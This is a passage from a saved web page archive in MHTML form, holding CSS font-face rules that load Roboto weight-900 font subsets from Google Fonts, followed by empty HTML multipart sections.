U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2")= format("woff2"); unicode-range: U+460-52F, U+1C80-1C88, U+20B4, U+2DE0-2DF= F, U+A640-A69F, U+FE2E-FE2F; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2")= format("woff2"); unicode-range: U+301, U+400-45F, U+490-491, U+4B0-4B1, U+= 2116; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2")= format("woff2"); unicode-range: U+1F00-1FFF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2")= format("woff2"); unicode-range: U+370-377, U+37A-37F, U+384-38A, U+38C, U+= 38E-3A1, U+3A3-3FF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2")= format("woff2"); unicode-range: U+102-103, U+110-111, U+128-129, U+168-169= , U+1A0-1A1, U+1AF-1B0, U+300-301, U+303-304, U+308-309, U+323, U+329, U+1E= A0-1EF9, U+20AB; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2")= format("woff2"); unicode-range: U+100-2AF, U+304, U+308, U+329, U+1E00-1E9= F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A7= 20-A7FF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBBc4.woff2") fo= rmat("woff2"); unicode-range: U+0-FF, U+131, U+152-153, U+2BB-2BC, U+2C6, U= +2DA, U+2DC, U+304, U+308, U+329, U+2000-206F, U+2074, U+20AC, U+2122, U+21= 91, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } ------MultipartBoundary--ysJREC9n2vnMOrXdoxZgNPm2698qqzCu5Uuu7faMiC---- Content-Type: text/html Content-ID: Content-Transfer-Encoding: quoted-printable ------MultipartBoundary--ysJREC9n2vnMOrXdoxZgNPm2698qqzCu5Uuu7faMiC---- Content-Type: text/html Content-ID: Content-Transfer-Encoding: quoted-printable ------MultipartBoundary--ysJREC9n2vnMOrXdoxZgNPm2698qqzCu5Uuu7faMiC---- Content-Type: text/html Content-ID: Content-Transfer-Encoding: quoted-printable ------MultipartBoundary--ysJREC9n2vnMOrXdoxZgNPm2698qqzCu5Uuu7faMiC------